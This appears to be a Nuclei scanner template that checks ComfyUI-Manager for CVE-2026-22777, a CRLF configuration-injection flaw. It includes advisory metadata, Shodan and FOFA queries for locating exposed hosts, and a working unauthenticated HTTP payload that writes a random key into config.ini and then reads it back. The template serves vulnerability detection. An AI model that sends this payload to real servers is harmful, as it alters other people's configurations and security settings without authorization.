id: CVE-2026-22777

info:
  name: ComfyUI-Manager < 3.39.2 - CRLF Configuration Injection
  author: TassioSales,DhiyaneshDk
  severity: high
  description: |
    ComfyUI-Manager is an extension designed to enhance the usability of ComfyUI. Prior to versions 3.39.2 and 4.0.5, an attacker can inject special characters into HTTP query parameters to add arbitrary configuration values to the config.ini file. This can lead to security setting tampering or modification of application behavior.
  impact: |
    Attackers can modify application configuration, potentially altering security settings or application behavior.
  remediation: |
     This issue has been patched in versions 3.39.2 and 4.0.5.
  reference:
    - https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2
    - https://github.com/Comfy-Org/ComfyUI-Manager/commit/f4fa394e0f03b013f1068c96cff168ad10bd0410
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22777
    - https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2026-22777
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-22777
    epss-score: 0.00866
    epss-percentile: 0.58933
    cwe-id: CWE-93
  metadata:
    verified: true
    max-request: 2
    vendor: comfy
    product: comfyui-manager
    shodan-query: http.title:"ComfyUI"
    fofa-query: title="ComfyUI"
  tags: cve,cve2026,comfyui,comfyui-manager,comfy,crlf,config-injection,intrusive,unauth

variables:
  key: "{{to_lower(rand_text_alpha(8))}}"
  val: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /manager/db_mode?value={{key}}%0D{{val}}%20%3D%20injected HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /manager/db_mode HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), key)'
          - 'contains(to_lower(body), val)'
          - '!contains(to_lower(body), key + val)'
        condition: and
# digest: 4a0a00473045022100d56ca5b0fc65773b624753305849806cb01bc8cc99d22ab7497fabdbc41a9af7022069d9d951551c2bfee89174663e045f9c21e55475efa1a6a6bf6f511893ff1e3e:922c64590222798bb761d5b6d8e72950